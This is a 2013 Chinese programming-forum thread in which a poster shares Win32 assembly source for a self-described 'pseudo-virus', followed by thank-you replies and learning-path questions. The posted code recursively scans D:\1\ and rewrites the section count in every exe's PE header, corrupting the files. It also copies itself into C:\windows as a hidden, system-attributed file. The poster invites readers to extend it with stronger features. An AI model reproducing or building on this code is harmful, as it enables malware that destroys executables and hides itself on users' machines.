鱼C论坛

 找回密码
 立即注册
查看: 11296|回复: 53

[技术交流] 分享一个Win32汇编的伪病毒代码

  [复制链接]
发表于 2013-3-9 15:10:49 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能^_^

您需要 登录 才可以下载或查看,没有账号?立即注册

x
本帖最后由 小生我怕怕 于 2013-3-9 15:30 编辑

     很久没发表技术方面的帖子了,最近其他事情比较多,也耽搁了不少时间,尤其是之前答应鱼友的坑,还有很多没有填!时光一年一年的度过,看到有些鱼友从当初走到现在,替你们感到很高兴,希望大家都坚持下来!

    这段时间,很多人问我!几乎都有一个疑惑,那就是学完汇编以后不知道该干什么,下面该怎么继续提升,其实这个问题,因人而异,因为...(还是大家慢慢的感悟和理解吧)下面我分享一个Win32汇编的伪病毒代码,是很久之前写的东东了,希望给有些迷茫的人一启发...为什么是伪,请看下面!

功能:
       1.感染文件夹 D:\1\下 的所有exe文件,(包括嵌套文件夹下的)
       2.复制自身到指定目录下,并设置文件属性

不足:
      1.没有对其他格式文件进行处理
      2.只是简单的破坏下PE文件,没有编写相应的破坏代码,如:修改入口,添加节区...
      3.没有网络传染能力和注册表,绑定等技术!更没有重定位和基地址获取!
      只是一个启发,希望有兴趣的朋友,以此文抛砖引玉,写出功能更强大的东东来!
      
注:代码很简单,注释我就不写了,代码年久失修,如有不妥之处,欢迎回帖纠正!

源码:

.386
.model flat,stdcall
option casemap:none
include windows.inc
include user32.inc
include kernel32.inc
includelib kernel32.lib
includelib kernel32.lib
;********************************************************************
.data
sz1 db 'D:\1\',0
sz2 db '*.*',0
sz3 db 32 dup(?)
sz4 db 32 dup(?)
sz5 db 'C:\windows\system32.exe',0
p2  dd ?
;********************************************************************
.code
_FindFile       proc        _lpszPath
                        local   @stFindFile:WIN32_FIND_DATA
                        local   @hFindFile
                        local   @szPath[MAX_PATH]:byte  ;用来存放“路径\”
                        local   @szSearch[MAX_PATH]:byte;用来存放“路径\*.*”
                        local   @szFindFile[MAX_PATH]:byte;用来存放“路径\找到的文件”
                        pushad
         invoke lstrcpy,addr @szPath,_lpszPath
;********************************************************************
                        invoke  lstrlen,addr @szPath
                        lea     esi,@szPath
                        add     esi,eax
                        xor     eax,eax
                        mov     al,'\'
                        .if     byte ptr [esi-1] != al
                                mov     word ptr [esi],ax
                        .endif
                        invoke  lstrcpy,addr @szSearch,addr @szPath
                        invoke  lstrcat,addr @szSearch,addr sz2
;********************************************************************
invoke      FindFirstFile,addr @szSearch,addr @stFindFile

.if         eax !=  INVALID_HANDLE_VALUE
                mov     @hFindFile,eax
                .repeat
                        invoke  lstrcpy,addr @szFindFile,addr @szPath
                        invoke   lstrcat,addr @szFindFile,addr @stFindFile.cFileName
                        .if     @stFindFile.dwFileAttributes  & FILE_ATTRIBUTE_DIRECTORY
                                .if     @stFindFile.cFileName != '.'
                                        invoke  _FindFile,addr @szFindFile
                                .endif
                        .else
   invoke lstrcpy,offset sz3,addr @szFindFile
                        call ww1
                        .endif
                        invoke  FindNextFile,@hFindFile,addr @stFindFile
            .until  eax == FALSE
            invoke  FindClose,@hFindFile
.endif
;********************************************************************
                    popad
                    ret
_FindFile       endp

ww1 proc
LOCAL file:OPENFILENAME
LOCAL h1,l1,p1,s1
invoke CreateFile,offset sz3,GENERIC_READ or GENERIC_WRITE,NULL,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL
mov h1,eax
invoke GetFileSize,eax,NULL
mov l1,eax
invoke VirtualAlloc,0,eax,MEM_COMMIT,PAGE_READWRITE
mov p1,eax
invoke RtlZeroMemory,eax,l1
invoke ReadFile,h1,p1,l1,offset p2,NULL
mov esi,p1
assume esi:ptr IMAGE_DOS_HEADER
mov eax,[esi].e_lfanew
mov ecx,eax
add esi,eax
assume esi:ptr IMAGE_NT_HEADERS
movzx eax,[esi].FileHeader.NumberOfSections
inc eax
;dec eax
mov s1,eax
add ecx,6

invoke SetFilePointer,h1,ecx,NULL,FILE_BEGIN
invoke WriteFile,h1,addr s1,2,offset p2,0
invoke CloseHandle,h1

ret
ww1 endp
;********************************************************************
run proc
invoke GetModuleHandle,NULL
invoke GetModuleFileName,NULL,offset sz4,32
invoke CopyFile,offset sz4,offset sz5,FALSE
invoke SetFileAttributes,offset sz5,FILE_ATTRIBUTE_HIDDEN or FILE_ATTRIBUTE_SYSTEM

ret
run endp
;********************************************************************
start:
call run


lea eax,offset sz1
push eax
call _FindFile
;********************************************************************
end start

想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
 楼主| 发表于 2013-3-9 20:59:04 | 显示全部楼层
可以看出论坛搞PE和这方面的人不多!
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
发表于 2013-3-9 21:30:42 | 显示全部楼层

回帖奖励 +1 鱼币

谢谢楼主指导  可能现在人都没在吧  我相信学汇编的人都还是很有兴趣搞PE的:P
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
发表于 2013-3-9 22:09:55 | 显示全部楼层

回帖奖励 +1 鱼币

楼主 大婶啊,支持你,,快了,看了 pe 结构就代表 win32汇编 要结束,
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
发表于 2013-3-10 12:26:16 | 显示全部楼层

回帖奖励 +1 鱼币

谢谢楼主指导
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
发表于 2013-3-10 12:50:11 | 显示全部楼层

回帖奖励 +1 鱼币

我想说,谢谢你,多少会有点启发,只是我想向反汇编方向发展,不知道老师你有什么建议或意见?学生有礼了。目前初学,再看王爽老师的汇编语言。请老师给我一个学习发展路线
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
发表于 2013-3-10 12:51:08 | 显示全部楼层
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
发表于 2013-3-10 13:05:36 | 显示全部楼层

回帖奖励 +1 鱼币

:loveliness:前排支持
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
 楼主| 发表于 2013-3-13 02:20:23 | 显示全部楼层
ai979520253 发表于 2013-3-10 12:50
我想说,谢谢你,多少会有点启发,只是我想向反汇编方向发展,不知道老师你有什么建议或意见?学生有礼了。 ...

反汇编,预备基础:汇编,  C/C++,中期:数据结构算法,PE格式   后期的核心编程,密码学,内核,驱动ring0方面的东西。还有其他OD,IDA等工具,一句话, 至少要有3年以上的某个系统平台的软件开发经验,比如 windows, 熟悉系统内部的每一个运作原理
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
发表于 2013-3-13 08:37:38 | 显示全部楼层

回帖奖励 +1 鱼币

谢谢楼主指导
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
发表于 2013-3-13 08:47:53 | 显示全部楼层

回帖奖励 +1 鱼币

支持:victory:
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
发表于 2013-3-13 08:50:06 | 显示全部楼层
支持支持支持支持支持
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
发表于 2013-3-13 09:18:21 | 显示全部楼层

回帖奖励 +1 鱼币

牛地方:@{:1_1:}:loveliness:;P;P
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
发表于 2013-3-13 09:41:30 | 显示全部楼层

回帖奖励 +1 鱼币

向前辈致敬、学习!{:1_1:}
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
发表于 2013-3-13 10:28:13 | 显示全部楼层

回帖奖励 +1 鱼币

新手,打算往WG方面做,该学什么呢,不太知道外G过保护这些需要什么,学习方向有点不确定,望指点
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
发表于 2013-3-13 11:27:16 | 显示全部楼层

回帖奖励 +1 鱼币

等我学完王爽老师的那本之后,就开始学win32汇编,吼吼~~~
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
发表于 2013-3-13 12:06:32 | 显示全部楼层

回帖奖励 +1 鱼币

伪病毒是不多啊!
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
发表于 2013-3-13 20:41:39 | 显示全部楼层

回帖奖励 +1 鱼币

我刚刚准备学习汇编。你的《汇编语言笔记》还有续集吗?
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
发表于 2013-3-18 13:25:42 | 显示全部楼层
小生我怕怕 发表于 2013-3-13 02:20
反汇编,预备基础:汇编,  C/C++,中期:数据结构算法,PE格式   后期的核心编程,密码学,内核,驱动ring ...

我知道了,老师。谢谢你。学生会努力的
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
发表于 2013-3-18 14:10:43 | 显示全部楼层

回帖奖励 +1 鱼币

路过看下...
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|手机版|Archiver|鱼C工作室 ( 粤ICP备18085999号-1 | 粤公网安备 44051102000585号)

GMT+8, 2024-11-23 22:36

Powered by Discuz! X3.4

© 2001-2023 Discuz! Team.

快速回复 返回顶部 返回列表